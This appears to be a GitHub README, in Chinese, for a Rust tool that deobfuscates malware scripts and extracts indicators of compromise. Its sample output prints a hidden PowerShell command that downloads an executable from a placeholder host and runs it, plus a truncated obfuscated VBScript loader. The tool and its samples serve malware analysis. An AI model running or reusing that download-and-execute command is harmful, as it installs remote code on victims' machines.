omifares/kovacs

GitHub: omifares/kovacs

一款用 Rust 开发的恶意软件静态分析工具,通过自动化去混淆和 IOC 提取来辅助安全分析师快速分类恶意样本。

Stars: 0 | Forks: 0

# Kovacs **Kovacs** 是一款使用 Rust 开发的静态分析和恶意软件快速分类工具。专为提取 IOC 而设计。 ## 功能 * **证据生成:** 自动创建一个 `$HOME/.local/share/kovacs/evidences/HASH.evidence(.json .md)` 报告,其中包含监管链(SHA256 哈希)和发现的 IOC。 * **网络提取:** 识别并提取 IP 和 URL。 * **多层去混淆:** * **Base64 解码器:** 查找并解码 base64 字符串。 * **字符串操作:** 检测并还原原生技术,如 `StrReverse`。 * **状态跟踪:** 在分析时跟踪内存中的变量,并解析恶意的拼接(例如:`A = "cmd" & ".exe"`)。 * **数组数学解码器:** 破解隐藏在十六进制数组和 `Chr()` 函数中的 payload。 ## 重要提示! 本项目是**严格作为个人学习目的**而开发的,用于恶意软件分析和逆向工程领域。 请注意: * **免责声明:** 我不对因使用该工具的输出而造成的任何损害、感染、数据丢失或事件响应决策负责。**使用风险由您自己承担**。 * **非企业级工具:** Kovacs 不能替代 Antivírus 引擎、EDR 或由分析师进行的深入分析。 * **误报和漏报:** 正则表达式和分析方法可能会失败,产生错误警报或无法检测到更高级的混淆。 * **安全:** 切勿在受控和隔离的环境之外处理恶意工件。 ## 安装 ``` git clone https://github.com/Vinicin1101/kovacs cd kovacs cargo build --release ``` ## 如何使用 ``` ./target/release/kovacs ``` ## 结果 #### `evidence.json` ``` { "urls": [ "https://url.example.net/" ], "ips": [], "base64_strings": [], "reversed_strings": [], "script_obfuscation": [], "stateful_obfuscation": [], "shifted_array_strings": [], "plaintext_iocs": [ "start /min cmd.exe /c powershell -WindowStyle Hidden -Command \"& { iwr -Uri '(https://url.example.net/Stb/Retev.php?kaDhs7ys.txt' -OutFile $env:TEMP\\BK473087.exe; Start-Process -FilePath $env:TEMP\\BK473087.exe -WindowStyle Hidden }\"" ] } ``` #### `evidence.ms` ``` # --- [ KOVACS EVIDENCES ] --- ## [ URL IOC ] URL: hTtPS://url.example.net ## [ 检测到混淆 (Array Math) ] Array Shift Decoded: "script:hTtPS://url.example.net/?1/" ## [ 明文威胁扫描 ] Plaintext IOC Detected: Dim lI, UOFY, QbJ2K, i : lI = Array(&H70 , &H61 , &H72 , &H6C , &H6D , &H72 , &H3D , &H69 , &H52 , &H77 , &H52 , &H53 , &H3C , &H30 , &H30 , &H69 , &H69 ...) : UOFY = Array(3 , 2 , 0 , -3 , 3 , 2 , -3 , -1 , 2 , -3 , -2 , 0 , -2 , -1 , -1 ....) : QbJ2K = "" : For i = 0 To UBound(lI) : QbJ2K = QbJ2K & Chr(lI(i) + UOFY(i)) : Next : s = "Ge" & "tObj" & "ect" : Execute s & "(QbJ2K)" ```
标签:DAST, DNS 反向解析, IOC提取, IP 地址批量处理, Rust, 云安全监控, 云资产清单, 可视化界面, 恶意软件分析, 网络流量审计, 逆向工程, 通知系统, 静态分析